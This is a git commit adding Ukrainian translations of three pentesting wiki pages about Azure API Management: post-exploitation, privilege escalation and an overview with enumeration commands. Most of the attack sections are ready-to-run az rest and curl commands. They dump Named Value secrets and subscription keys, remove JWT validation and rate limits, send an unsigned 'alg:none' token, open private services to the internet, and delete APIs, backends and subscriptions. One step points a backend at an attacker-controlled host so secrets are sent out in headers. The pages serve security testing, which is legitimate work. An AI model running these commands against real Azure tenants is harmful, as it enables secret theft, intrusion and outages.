Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az

This commit is contained in:
Translator
2025-12-23 16:37:01 +00:00
parent 522ce1f040
commit 84a28308f6
3 changed files with 319 additions and 0 deletions

View File

@@ -0,0 +1,75 @@
# Azure - API Management Post-Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write`
Attacker може використовувати кілька векторів, щоб спричинити denial of service. Щоб блокувати legitimate traffic, attacker додає rate-limiting і quota policies з надзвичайно низькими значеннями, фактично перешкоджаючи нормальному доступу:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><rate-limit calls=\"1\" renewal-period=\"3600\" /><quota calls=\"10\" renewal-period=\"86400\" /><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
}
}'
```
Щоб заблокувати конкретні легітимні IP-адреси клієнтів, зловмисник може додати політики фільтрації IP, які відхиляють запити з обраних адрес:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><ip-filter action=\"forbid\"><address>1.2.3.4</address><address>1.2.3.5</address></ip-filter><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
}
}'
```
## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete`
Щоб спричинити відмову запитів, атакуючий може змінити конфігурацію backend, замінивши її URL на недійсну або недосяжну адресу:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://invalid-backend-that-does-not-exist.com",
"protocol": "http"
}
}'
```
Або видалити бекенди:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "If-Match=*"
```
## `Microsoft.ApiManagement/service/apis/delete`
Щоб зробити критичні API недоступними, зловмисник може видалити їх безпосередньо з API Management service:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>?api-version=2024-05-01" \
--headers "If-Match=*"
```
## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
Щоб заблокувати доступ з Інтернету, зловмисник може вимкнути публічний доступ до мережі для API Management service:
```bash
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"publicNetworkAccess": "Disabled"
}
}'
```
## `Microsoft.ApiManagement/service/subscriptions/delete`
Щоб заблокувати доступ легітимних користувачів, зловмисник може видалити підписки API Management:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<apim-subscription-id>?api-version=2024-05-01" \
--headers "If-Match=*"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,170 @@
# Az - API Management Privesc
{{#include ../../../banners/hacktricks-training.md}}
## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action`
Атака полягає у доступі до конфіденційних секретів, збережених у Azure API Management Named Values — або шляхом безпосереднього отримання значень секретів, або зловживання дозволами для отримання Key Vaultbacked secrets через managed identities.
```bash
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
```
## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action`
Для кожної підписки атакуючий може отримати ключі підписки, використовуючи endpoint listSecrets з методом POST:
```bash
az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
```
У відповіді містяться первинний ключ підписки (primaryKey) та вторинний ключ (secondaryKey). З цими ключами зловмисник може автентифікуватися та отримати доступ до API, опублікованих через API Management Gateway:
```bash
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
https://<service-name>.azure-api.net/<api-path>
```
Зловмисник може отримати доступ до всіх API та продуктів, пов'язаних із підпискою. Якщо підписка має доступ до конфіденційних продуктів або API, зловмисник може отримати конфіденційну інформацію або виконати несанкціоновані операції.
## `Microsoft.ApiManagement/service/policies/write` або `Microsoft.ApiManagement/service/apis/policies/write`
Зловмисник спочатку отримує поточну політику API:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
```
Атакувальник може змінити політику різними способами залежно від своїх цілей. Наприклад, щоб вимкнути автентифікацію, якщо політика містить JWT token validation, атакувальник може видалити або закоментувати цей розділ:
```xml
<policies>
<inbound>
<base />
<!-- JWT validation removed by the attacker -->
<!-- <validate-jwt header-name="Authorization" failed-validation-httpcode="401" >
...
</validate-jwt> -->
</inbound>
<backend>
<base />
</backend>
<outbound>
<base />
</outbound>
<on-error>
<base />
</on-error>
</policies>
```
Щоб вимкнути контролі rate limiting та дозволити атаки denial-of-service, зловмисник може видалити або закоментувати політики quota та rate-limit:
```xml
<policies>
<inbound>
<base />
<!-- Rate limiting removed by the attacker -->
<!-- <rate-limit calls="100" renewal-period="60" />
<quota-by-key calls="1000" renewal-period="3600" counter-key="@(context.Subscription.Id)" /> -->
</inbound>
...
</policies>
```
Щоб змінити backend route і перенаправити трафік на attacker-controlled server:
```xml
<policies>
...
<inbound>
<base />
<set-backend-service base-url="https://attacker-controlled-server.com" />
</inbound>
...
</policies>
```
Зловмисник потім застосовує змінену політику. Тіло запиту має бути JSON-об'єктом, що містить політику у форматі XML:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><base /></inbound><backend><base /></backend><outbound><base /></outbound><on-error><base /></on-error></policies>"
}
}'
```
## JWT Validation Misconfiguration
Атакуючому потрібно знати, що API використовує перевірку JWT токенів і що політика налаштована неправильно. Неправильно налаштовані політики валідації JWT можуть містити `require-signed-tokens="false"` або `require-expiration-time="false"`, що дозволяє сервісу приймати непідписані токени або токени, що ніколи не закінчуються.
Атакуючий створює шкідливий JWT токен, використовуючи алгоритм none (непідписаний):
```
# Header: {"alg":"none"}
# Payload: {"sub":"user"}
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.
```
attacker надсилає запит до API, використовуючи malicious token:
```bash
curl -X GET \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
https://<apim>.azure-api.net/path
```
Якщо політика неправильно налаштована з `require-signed-tokens="false"`, сервіс прийматиме непідписаний токен. Атакувальник також може створити токен без заяви про термін дії, якщо `require-expiration-time="false"`.
## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
Атакувальник спочатку перевіряє поточну мережеву конфігурацію сервісу:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
```
Атакувальник переглядає JSON-відповідь, щоб перевірити значення `publicNetworkAccess` та `virtualNetworkType`. Якщо `publicNetworkAccess` встановлено в false або `virtualNetworkType` встановлено в Internal, сервіс налаштований на приватний доступ.
Щоб відкрити сервіс в Інтернеті, атакувальник має змінити обидва параметри. Якщо сервіс працює в internal-режимі (`virtualNetworkType: "Internal"`), атакувальник змінює його на None або External і вмикає public network access. Це можна зробити за допомогою Azure Management API:
```bash
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"publicNetworkAccess": "Enabled",
"virtualNetworkType": "None"
}
}'
```
Після того як `virtualNetworkType` встановлено в `None` або `External`, а `publicNetworkAccess` увімкнено, сервіс та всі його API стають доступними з Інтернету, навіть якщо раніше вони були захищені приватною мережею або приватними кінцевими точками.
## `Microsoft.ApiManagement/service/backends/write`
Зловмисник спочатку перелічує наявні backends, щоб визначити, який із них змінити:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
```
Атакувальник отримує поточну конфігурацію того backend, який хоче змінити:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
```
Зловмисник змінює backend URL так, щоб він вказував на сервер під їхнім контролем. Спочатку вони отримують ETag із попередньої відповіді, а потім оновлюють backend:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"description": "Backend modified by attacker"
}
}'
```
Як альтернативу, атакуючий може налаштувати backend headers, щоб exfiltrate Named Values, які містять секрети. Це робиться через backend credentials configuration:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"credentials": {
"header": {
"X-Secret-Value": ["{{named-value-secret}}"]
}
}
}
}'
```
За цією конфігурацією Named Values надсилаються як заголовки в усіх запитах до бекенду, контрольованого атакуючим, що дозволяє ексфільтрацію конфіденційних секретів.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,74 @@
# Az - API Management
{{#include ../../../banners/hacktricks-training.md}}
## Основна інформація
Azure API Management (APIM) — це повністю керований сервіс, який пропонує **уніфіковану платформу для публікації, захисту, трансформації, управління та моніторингу APIs**. Він дозволяє організаціям **централізувати свою API** стратегію та забезпечувати послідовне управління, продуктивність і безпеку для всіх їхніх сервісів. Діючи як шар абстракції між бекенд-сервісами та споживачами API, APIM спрощує інтеграцію та підвищує підтримуваність, забезпечуючи при цьому необхідні оперативні та безпекові можливості.
## Основні концепції
**The API Gateway** слугує єдиною точкою входу для всього API-трафіку, виконуючи такі функції, як маршрутизація запитів до бекенд-сервісів, застосування обмежень швидкості (rate limits), кешування відповідей та керування аутентифікацією й авторизацією. Цей gateway повністю хоститься та керується Azure, що гарантує високу доступність і масштабованість.
**The Developer Portal** надає середовище самообслуговування, де споживачі API можуть знаходити доступні API, читати документацію та тестувати кінцеві точки. Це спрощує процес онбордингу, надаючи інтерактивні інструменти та доступ до інформації про підписки.
**The Management Portal (Management Plane)** використовується адміністраторами для конфігурації та підтримки сервісу APIM. Звідси користувачі можуть визначати APIs і операції, налаштовувати контроль доступу, застосовувати політики, керувати користувачами та організовувати APIs у продукти. Цей портал централізує адміністрування та забезпечує послідовне управління API.
## Аутентифікація та авторизація
Azure API Management підтримує кілька механізмів **authentication**, щоб захистити доступ до API. До них відносяться **subscription keys**, **OAuth 2.0 tokens** і **client certificates**. APIM також нативно інтегрується з **Microsoft Entra ID**, що дозволяє забезпечити **enterprise-level identity management** та **secure access** як до APIs, так і до бекенд-сервісів.
## Політики
Політики в APIM дозволяють адміністраторам налаштовувати **обробку запитів і відповідей** на різних рівнях деталізації, включно з рівнями **service**, **API**, **operation** або **product**. За допомогою політик можна здійснювати **JWT token validation**, трансформувати XML або JSON payloads, застосовувати rate limiting, обмежувати виклики за IP-адресою або аутентифікуватися проти бекенду, використовуючи managed identities. Політики є **дуже гнучкими** і формують одну з **ключових сильних сторін** платформи API Management, дозволяючи **тонко керувати поведінкою під час виконання** без змін у бекенд-коді.
## Named Values
Сервіс надає механізм під назвою **Named Values**, який дозволяє зберігати **конфігураційну інформацію**, таку як **секрети**, **API keys** або інші значення, необхідні для політик.
Ці значення можна зберігати безпосередньо в APIM або безпечно посилатися на них через **Azure Key Vault**. Named Values сприяють **безпечному та централізованому управлінню** конфігураційними даними та спрощують написання політик, дозволяючи використовувати **повторно вживані посилання** замість захардкожених значень.
## Мережеві інтеграції та безпека
Azure API Management безшовно інтегрується з **virtual network environments**, що дозволяє забезпечити **приватне та безпечне підключення** до бекенд-систем.
Коли APIM розгорнуто всередині **Virtual Network (VNet)**, він може отримувати доступ до **внутрішніх сервісів** без їхнього публічного виставлення. Сервіс також дозволяє налаштовувати **custom certificates** для підтримки **mutual TLS authentication** з бекенд-сервісами, що підвищує безпеку в сценаріях, де потрібна **сильна валідація ідентичності**.
Ці **мережеві можливості** роблять APIM придатним як для **cloud-native**, так і для **hybrid architectures**.
### Перерахування
Щоб перерахувати сервіс API Management:
```bash
# Lists all Named Values configured in the Azure API Management instance
az apim nv list --resource-group <resource-group> --service-name <service-name>
# Retrieves all policies applied at the API level in raw XML format
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
# Retrieves the effective policy for a specific API in raw XML format
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01&format=rawxml"
# Gets the configuration details of the APIM service instance
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
# Lists all backend services registered in the APIM instance
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
# Retrieves details of a specific backend service
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
# Gets general information about the APIM service
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01"
# Calls an exposed API endpoint through the APIM gateway
curl https://<apim>.azure-api.net/<api-path>
```
{{#include ../../../banners/hacktricks-training.md}}